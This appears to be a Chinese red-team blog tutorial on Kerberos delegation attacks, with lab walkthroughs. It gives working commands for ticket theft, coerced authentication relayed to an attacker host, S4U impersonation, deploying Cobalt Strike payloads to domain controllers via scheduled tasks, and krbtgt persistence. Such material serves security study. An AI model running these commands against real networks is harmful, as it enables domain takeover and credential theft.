Kerberos委派攻击技术

委派攻击

前置基础

委派概念

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动,当攻击者能控制/利用授权账户,那么就会发生委派攻击。

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:

1、非约束性委派:类似中间商拿着你的身份证想干什么就干什么,可以伪造你的身份去动物园,同时也可以伪造你的身份去天文馆,海洋馆等等,对这个中间商没有任何的约束。

2、约束性委派:虽然中间商拿到了你的身份证,但是他由于被你约束了,只能去访问动物园,或者只能去动物园里看大象,其他地方被约束住了,不能任意的干任何事情。

3、基于资源的约束性委派

使用场景

一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派,需要web系统代表用户A去访问文件服务的资源。

在这里插入图片描述

设置委派

在域内只有主机账号和服务账号才有委派属性

主机账号:活动目录中的computers组内的计算机,也被称为机器账号

在这里插入图片描述

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号

net user test123 Admin@123 /add /domain  # 创建一个普通用户
setspn -U -A priv/test test123  # 注册为服务账号
image-20250519193747978 在这里插入图片描述

开启委派如图

image-20250519193733096

非约束性委派

非约束性委派(Unconstrained Delegation):服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。被配置为非约束委托的系统将把TGT(Ticket Granting Ticket)存储到LSASS内存中,以便使用户能够访问终端资源。非约束委派的设置需要SeEnableDelegation权限,一般为管理员具有此权限。

PS:域控机器账户默认配置非约束性委派

image-20250520085150960

如图:如果控制web服务主机且属于非约束委派,那么让域管访问web系统后,就可以利用保存的TGT、ST登录DC。

非约束委派账户查询

法一:使用ADfind查询

列出能列出的所有约束委派账户:

# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

OLXSHA.png

法二:使用powershell脚本

使用 PowerView.ps1 脚本进行探查:

# PowerView查询非约束委派的机器账户
powershell-import PowerView.ps1
powershell Get-NetComputer –unconstrained | select dnshostname, samaccountname

O7zfQe.png

实验&攻击示例

利用非约束委派域控主动访问控制域控

当域管理员使用net use等远程访问命令,模拟域控管理员访问沦陷主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。

利用条件:

  1. 需要Administrator权限
  2. 域内主机的机器账户开启非约束委派
  3. 域控管理员远程访问

实验环境如下:

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 192.168.41.50 DC2 abc\administrator abc.hack.com 域控
域内机器 192.168.41.55 PC-2016-Member abc\xyz abc.hack.com 配置了非约束性委派

1、上传Adfind到目标机器上,使用Adfind查询域内非约束委派机器账号:

在这里插入图片描述

AdFind.exe -b "DC=abc,DC=hack,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20250523110638075

2、现在是不能访问域控的

dir \\dc2.abc.hack.com\c$
image-20250523110715431

3、这个时候如果域管访问了PC-2016-Member机器,那么内存中就会有域管的TGT,就可以访问任意机器了,在域控上执行访问PC-2016-Member以模仿域管访问了配置了非约束性委派的主机。

DC2访问成员主机:

net use \\PC-2016-Member.ABC.HACK.COM /user:abc\xyz @Password
image-20250524113901455

4、在PC-2016-Member中导出内存中的票据,这里由于导出票据需要高权限,所以在这一步需要先进行提权,再导出票据。

提权得到system权限:

image-20250524112404632

导出票据到当前目录:

mimikatz sekurlsa::tickets /export

image-20250524115154157

5、进行票据传递就可以获取域控的权限了

# 直接使用原本的票据名会导致解析错误,所以需要先改名
rename "[0;c6031]-2-0-60a10000-Administrator@krbtgt-ABC.HACK.COM.kirbi" admin.kirbi
mimikatz kerberos::ptt admin.kirbi

image-20250524133903761

6、再次访问域控

shell dir \\dc2.abc.hack.com\c$

image-20250524133925473

可以看到这次就能访问域控了

7、上传CS的payload到域控

image-20250524134303469

shell copy artifact_x64.exe \\dc2.abc.hack.com\c$

image-20250524134350471

8、创建计划任务

shell schtasks /create /s dc2.abc.hack.com /tn test /sc onstart /tr c:\artifact_x64.exe /ru system /f

image-20250524134452336

9、执行计划任务

shell schtasks /run /s dc2.abc.hack.com /i /tn "test"

image-20250524134745173

10、上线域控

image-20250524134638185

利用非约束委派域控被动访问控制域控

强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。

利用条件:控制了域内的一台机器,并且该机器中服务账号配置了非约束委派,拥有Administrator权限。

实验环境如下:

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 192.168.41.10 DC hack\administrator hack.com 域控
域内机器 192.168.41.14 WIN-10 hack\jack hack.com 配置了非约束性委派

由于一般域管不会主动访问其他主机,那么可以利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者控制的主机目标进行身份验证。

非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC 强制访问 失陷的 具有本地管理员权限的 非约束性委派机器 WIN-10,从而拿到域管理员的 TGT,进而接管域控。(2008机器可能复现不了,因为版本的问题)

在这里插入图片描述

1、首先利用Rubeus在 WIN-10 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息

shell Rubeus.exe monitor /interval:1 /filteruser: DC$

在这里插入图片描述

再利用SpoolSample强制域控打印机回连,但这里需在域用户进程上执行,所以切换成了普通域用户帐号去执行:

shell SpoolSample.exe DC WIN-10

image-20250524140323776

Rubeus监听到票据

在这里插入图片描述

Rubeus导入票据

shell Rubeus.exe ptt /ticket:票据内容

在这里插入图片描述

获取域内用户的hash

mimikatz lsadump::dcsync /all /csv

在这里插入图片描述

如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据

在这里插入图片描述

或者使用计划任务上线

在这里插入图片描述

shell copy artifact.exe \\dc.hack.com\c$

image-20250524140252827

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

image-20250524140245048

shell schtasks /run /s dc.hack.com /i /tn "test"

image-20250524140231901

基于服务账户的非约束委派攻击

利用前提

  1. 服务账户设置了非约束性委派
  2. 已知服务账户的密码口令信息

实验环境如下:

机器位置 机器IP 机器名 机器登录用户 所属域
域内域控制器 192.168.41.50 DC2 abc\administrator abc.hack.com
域内机器 192.168.41.55 PC-2016-Member abc\xyz abc.hack.com

1、使用 adfind发现服务账号test123设置了非约束委派

shell AdFind.exe -b "DC=abc,DC=hack,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

image-20250524143644492

2、上传kekeo工具,构造服务账户TGT的票据

image-20250524144134637

shell kekeo_x64.exe "tgt::ask /user:test123 /domain:abc.hack.com /password:Password!123 /ticket:test.kirbi" "exit"

image-20250524144306697

3、利用刚才伪造的TGT票据,向域服务器申请CIFS服务票据:

shell kekeo_x64.exe "Tgs::s4u /tgt:TGT_test123@ABC.HACK.COM_krbtgt~abc.hack.com@ABC.HACK.COM.kirbi /user:administrator@abc.hack.com /service:cifs /DC2.ABC.HACK.COM" "exit"

image-20250524144500406

使用mimikatz将该票据注入当前的会话中:

mimikatz kerberos::ptt TGS_administrator@abc.hack.com@ABC.HACK.COM_test123@ABC.HACK.COM.kirbi

image-20250524144604518

访问域控

shell dir \\dc2.abc.hack.com\c$

在这里插入图片描述

任务计划上线域控

shell copy artifact_x64.exe \\dc2.abc.hack.com\c$

在这里插入图片描述

schtasks命令创建计划任务:

schtasks /create /s dc2.abc.hack.com /tn test /sc onstart /tr c:\artifact_x64.exe /ru system /f

在这里插入图片描述

schtasks命令执行计划任务:

schtasks /run /s dc2.abc.hack.com /i /tn test

在这里插入图片描述

目标域控成功上线

在这里插入图片描述

传统约束性委派

概念

当用户不在域内,无法使用kerberos进行认证,那么就只能使用其他协议认证web系统,而同样WEB系统也需要访问文件服务的资源,所以就需要用到S4U(service for user)协议,它允许服务代表用户从KDC请求票证,约束委派限制了其中的S4U2proxy子协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。

S4U协议分为两个子协议:

  • S4U2self协议允许服务代表任意用户请求访问自身服务的ST服务票据
  • S4U2proxy协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。

约束委派有两种:

  1. 仅使用Kerberos,不能进行协议转换
  2. 使用任何身份验证协议

配置了约束性委派的账户属性会有如下两个变化:

  1. 账户userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,值为16781312
  2. 账户的msDS-AllowedToDelegateTo属性,添加允许委派的服务

不同于允许委派所有服务的非约束委派,约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。

认证流程

image-20250525132430196

认证过程中存在的问题:

  1. 既然服务账号B可以代表A申请访问B的票据,那么也可以代表域管申请访问B的票据
  2. 既然服务账号B可以代表A申请访问C的票据,那么也可以代表域管申请访问C的票据

这两个情况都不需要域管参与,服务账户B自身就可以完成整个过程,没有得到真实账户的请求授权就私自向KDC发起代表申请。

约束委派账户查询

法一:使用ADfind查询

列出能列出的所有约束委派账户:

# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

OHS86e.png

法二:使用powershell脚本

使用 PowerView.ps1 脚本进行探查:

# 导入
powershell-import PowerView.ps1

# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

OHS3lD.png

实验&攻击示例

使用机器账户的票据 | kekeo

约束性委派攻击的关键就是获得可转发的服务票据ST
获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket

利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

实验场景:

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 10.10.2.20 DC2016 redteam\administrator redteam.lab 域控
域内机器 10.10.2.100 WIN10-1 redteam\- redteam.lab 配置了约束委派

使用mimikatz工具导出lsass.exe进程中所有的票据,得到想要的服务票据:

# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

OHSQfK.png

使用kekeo工具申请服务票据(S4U2Proxy协议):

# 申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

OHS1SO.png

# 导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"

# 访问
dir \\DC2016.redteam.lab\c$

OHSYmd.png

然后上传CS恶意文件、SC创建任务上线CS即可。

使用机器账户的hash值 | kekeo

和示例1一样,只是这里使用的是机器账户的hash值。

利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

实验场景

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 192.168.41.50 DC2 abc\administrator abc.hack.com 域控
域内机器 192.168.41.55 PC-2016-Member abc\xyz abc.hack.com 配置了约束委派

实验前提:当前已经控制了PC-2016-Member的电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值

image-20250525134414715

1、查询约束性委派的机器

shell AdFind.exe -b "DC=abc,DC=hack,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20250525142216855

PS:查询到PC-2016-Member电脑配置了约束委派,委派的对象是DC的CIFS服务

2、获取机器账户NTLM Hash

先提权:

image-20250525142251582

提取凭据:

mimikatz sekurlsa::logonpasswords
image-20250525142709729

3、清除票据

清除当前机器中的所有票据,以免造成影响:

# 清空内存票据
mimikatz kerberos::purge
# 查看内存中的票据
mimikatz kerberos::list

image-20250525151402053

4、票据伪造&利用

使用kekeo申请配置了约束委派机器账户PC-2016-MEMBER$的TGT:

shell kekeo64.exe "tgt::ask /user:PC-2016-MEMBER$ /NTLM:f7fbbd4c53b634afe700e6bcc9e04895 /domain:abc.hack.com" "exit"

image-20250525143356445

利用TGT通过伪造S4U请求以administrator身份访问PC-2016-MEMBER的ST:

shell kekeo64.exe "tgs::s4u /tgt:TGT_PC-2016-MEMBER$@ABC.HACK.COM_krbtgt~abc.hack.com@ABC.HACK.COM.kirbi /user:Administrator@abc.hack.com cifs/dc2.abc.hack.com" "exit"

image-20250525143422750

使用mimikatz注入票据:

mimikatz kerberos::ptt TGS_Administrator@abc.hack.com@ABC.HACK.COM_PC-2016-MEMBER$@ABC.HACK.COM.kirbi

image-20250525143458487

访问域控:

shell dir \\dc2.abc.hack.com\c$

在这里插入图片描述

5、上线域控

将CS恶意文件上传到DC:

shell copy artifact.exe \\dc2.abc.hack.com\c$

在这里插入图片描述

shell schtasks /create /s 192.168.41.50 /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在这里插入图片描述

shell schtasks /run /s 192.168.41.50 /i /tn test

在这里插入图片描述

目标域控上线

在这里插入图片描述

约束委派&利用服务账户凭据

参见:AD错误配置-约束委派&利用服务账户凭据

基于资源的约束性委派

概念

微软在Windows Server 2012 中新引入基于资源的约束性委派(RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身,即:服务来决定谁能访问自己

配置了RBCD的账户属性有如下变化:

  • 增加msDS-AllowedToActOnBehalfOfOtherIdentity属性,指向委派账户

与传统约束性委派的差异:

  1. 传统约束性委派:server1设置 msDS-AllowedToDelegateTo 属性,指定对server2的某个服务进行委派
  2. 基于资源的约束性委派:server2设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,添加server的SID以允许server1对自己的服务进行委派

此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。

委派流程:

image-20250606160323846

攻击核心条件

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  2. 可以创建机器账户(或已知机器账户)

拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的用户有下列三个:

  1. 将该主机加入域的用户账户:账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了!
  2. Account Operator组成员
  3. 该主机的机器账户

而对于一般域成员,由msDS-MachineAccountQuota属性决定,默认可以创建10个机器账户。

信息搜集

法一:由机器找到可修改委派权限的用户

核心目标:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户
这种思路可称为反向查找:已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限

# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 10.10.2.20 -u ken -up 123.com -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

OHpqKg.png

法二:由用户查询其加入域中的机器

和上面相反,这里可以看作正向查找:已知用户查找到通过该用户加入域中的机器,

# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

OHpvan.png

示例

环境说明

域名: redteam.lab
域控制器:
    操作系统: Windows Server 2016
    主机名: DC2016
    IP: 10.10.2.20
域内服务器:
    操作系统: Windows Server 2012
    主机名: SERVER2012
    IP: 10.10.2.50
域内主机1:
    操作系统: Windows 10
    主机名: WIN10-1
    IP: 10.10.2.100
域内主机2:
    操作系统: Windows 7
    主机名: WIN7-1
    IP: 10.10.2.101
攻击机:
    操作系统: kali Liux
    IP: 10.10.2.77

通过将主机加入域的用户拿下主机

权限提升 | 横向移动

关键:能修改那台服务资源的委派属性,就可以拿下该台主机

利用条件:

  1. 允许创建机器账户
  2. 具有管理主机加入域的用户账户
添加机器账户
# 使用addcpmputer创建机器账户
python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20

# 使用bloodyAD工具创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'

# 使用PowerMad工具创建机器账户

OHpx5q.png

设置委派属性

使用PowerView工具查询机器账户SID

Get-NetComputer CPT01 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1108

OHpHxS.png

修改服务资源的委派属性,即msDS-AllowedToActOnBehalfOfOtherIdentity属性

# 导入powershell Set-ExecutionPolicy Bypass -Scope Process. .\powerview.ps1

powershell-import PowerView.ps1

powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity

OHpObj.png

# 域控查询命令
Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount
# 清除属性
Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
申请服务票据并利用
法一:getST.py

使用getST.py申请票据

# 使用getST.py申请票据
python3 getST.py redteam.lab/CPT01$:Passw0rd -spn cifs/SERVER2012.redteam.lab -impersonate administrator -dc-ip 10.10.2.20

# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache

# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass

OHpLrQ.png

法二:Rubeus

使用Rubeus申请票据

# 通过Rubeus申请机器账户CPT01$的TGT
Rubeus.exe asktgt /user:CPT01$ /password:Passw0rd /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap

# 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/SERVER2012.redteam.lab /dc:DC2016.redteam.lab /nowrap /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooI[...]UbBmtyYnRndBsLcmVkdGVhbS5sYWI=

# 访问
dir \\SERVER2012.redteam.lab\c$

OHpjVs.png

小技巧:Base64加密的票据转.kirbi文件

[IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("doIGKDCCBiSgAwIBBaEDAgEWooIFMjCCBS5hggUqMIIFJqADAgEFoQ0bC1JFRFRFQU0uTEFCoikwJ6ADAgECoSAwHhsEQ0lGUxsWU[...]UlZFUjIwMTIucmVkdGVhbS5sYWI="))

已知Acount Operators组用户拿下主机

权限提升 | 横向移动

前一个方法中,拿到控制加入域的用户后可以获得其下加入的主机。在本方法中通过Acount Operators组用户也可以获得域内除域控的所有主机。

利用条件:

  1. 获取到属于Acount Operators组的用户账户
  2. 可以创建机器账户

Acount Operators组成员可以修改域内任意主机msDS-AllowedToActOnBehalfOfOtherIdentity属性

查询Acount Operators组成员
adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member

OHCfht.png

创建机器账户
# 使用bloodyAD.py创建机器账户
python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'
设置委派属性并利用

剩下部分基本上和上一个方法类似,如果使用ken用户则会报拒绝访问,使用mark用户则可以修改委派属性

# 使用PowerView工具查询机器账户SID
powerpick Get-NetComputer CPT02 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1112

# 修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity

# 创建服务票据
python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20

# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache

# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass

结合HTLM Relay攻击拿下主机(CVE-2019-1040)

权限提升 | 横向移动

攻击链:绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击

利用条件:

  1. 能创建机器账户
  2. 目标开启打印机服务
创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT03 'Passw0rd'
监听认证请求

使用ntlmrelayx工具

# 进行监听
python3 ntlmrelayx.py -t ldap://10.10.2.20 -smb2support --remove-mic --delegate-access --escalate-user CPT03\$
打印机漏洞执行强制认证

使用printerbug工具执行强制认证

# 利用打印机漏洞回连
python3 printerbug.py redteam.lab/ken:123.com@10.10.2.50 10.10.2.77

OHCIc8.png
ntlmrelayx上监听到认证数据
OHC51f.png

申请服务票据

使用getST.py申请服务票据

# 制作服务票据
python3 getST.py redteam.lab/CPT03\$:Passw0rd -spn CIFS/SERVER2012.redteam.lab -impersonate Administrator -dc-ip 10.10.2.20
利用服务票据
# 注入票据
export KRB5CCNAME=Administrator.ccache

# 远程访问
python3 smbexec.py -target-ip 10.10.2.50 -k SERVER2012.redteam.lab -no-pass

OHC49P.png

krbtgt用户的委派

目的:权限维持

在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的,类似与一个变种的黄金票据

利用条件:获取域控权限

设置委派属性
# 创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT04 'Passw0rd'

# 设置krbtgt委派权限 | 查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount CPT04$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

OHCWtI.png

申请&利用票据
python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20

export KRB5CCNAME=Administrator.ccache

python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

OHP1UA.png

委派攻击防范措施

  • 对于高权限用户,设置为敏感用户,不能被委派
  • 若要设置委派,不设置非约束性委派而是设置约束性委派
  • 可以将敏感用户添加至Protected User组中,该组用户不允许被委派
posted @ 2025-12-03 09:45  shinianyunyan  阅读(53)  评论(0)    收藏  举报